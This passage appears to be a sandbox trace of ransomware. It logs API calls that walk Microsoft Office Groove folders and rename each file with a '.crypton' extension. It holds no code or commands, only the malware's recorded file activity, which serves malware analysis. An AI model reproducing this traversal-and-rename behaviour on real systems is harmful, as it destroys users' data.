[0103.341] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.346] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate.css.crypton"), dwFlags=0x2) returned 1 [0103.350] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SlateBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slateblue.css.crypton"), dwFlags=0x2) returned 1 [0103.356] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaf620e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbaf620e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.362] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\background.gif.crypton"), dwFlags=0x2) returned 1 [0103.365] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_off.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.368] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\tab_on.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue.css.crypton"), dwFlags=0x2) returned 1 [0103.380] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbafae3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbafae3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\button.gif.crypton"), dwFlags=0x2) returned 1 [0103.385] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.387] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.392] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen.css.crypton"), dwFlags=0x2) returned 1 [0103.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts.css.crypton"), dwFlags=0x2) returned 1 [0103.402] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbafd4500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbafd4500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif.crypton"), dwFlags=0x2) returned 1 [0103.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.411] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.413] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.418] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css.crypton"), dwFlags=0x2) returned 1 [0103.423] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb0207c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbb0207c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif.crypton"), dwFlags=0x2) returned 1 [0103.442] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.445] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.447] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.451] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css.crypton"), dwFlags=0x2) returned 1 [0103.455] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css.crypton"), dwFlags=0x2) returned 1 [0103.458] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css.crypton"), dwFlags=0x2) returned 1 [0103.462] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\velvetrose.css.crypton"), dwFlags=0x2) returned 1 [0103.471] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg.crypton"), dwFlags=0x2) returned 1 [0103.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticonsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0103.480] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewFrame.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewframe.html.crypton"), dwFlags=0x2) returned 1 [0103.484] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html.crypton"), dwFlags=0x2) returned 1 [0103.491] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormToolImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formtoolimages.jpg.crypton"), dwFlags=0x2) returned 1 [0103.498] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\form_edit.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form_edit.js.crypton"), dwFlags=0x2) returned 1 [0103.503] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\LAUNCH.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\launch.gif.crypton"), dwFlags=0x2) returned 1 [0103.640] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\macroprogress.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\macroprogress.gif.crypton"), dwFlags=0x2) returned 1 [0103.647] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\PublicFunctions.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\publicfunctions.js.crypton"), dwFlags=0x2) returned 1 [0103.651] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignleft.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignleft.gif.crypton"), dwFlags=0x2) returned 1 [0103.655] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_alignright.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_alignright.gif.crypton"), dwFlags=0x2) returned 1 [0103.658] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\RTF_BOLD.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bold.gif.crypton"), dwFlags=0x2) returned 1 [0103.661] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_bullets.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_bullets.gif.crypton"), dwFlags=0x2) returned 1 [0103.664] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_center.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_center.gif.crypton"), dwFlags=0x2) returned 1 [0103.671] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosecolor.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosecolor.gif.crypton"), dwFlags=0x2) returned 1 [0103.675] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_choosefont.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_choosefont.gif.crypton"), dwFlags=0x2) returned 1 [0103.678] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\rtf_decreaseindent.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\rtf_decreaseindent.gif.crypton"), dwFlags=0x2) returned 1 [0103.682] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft 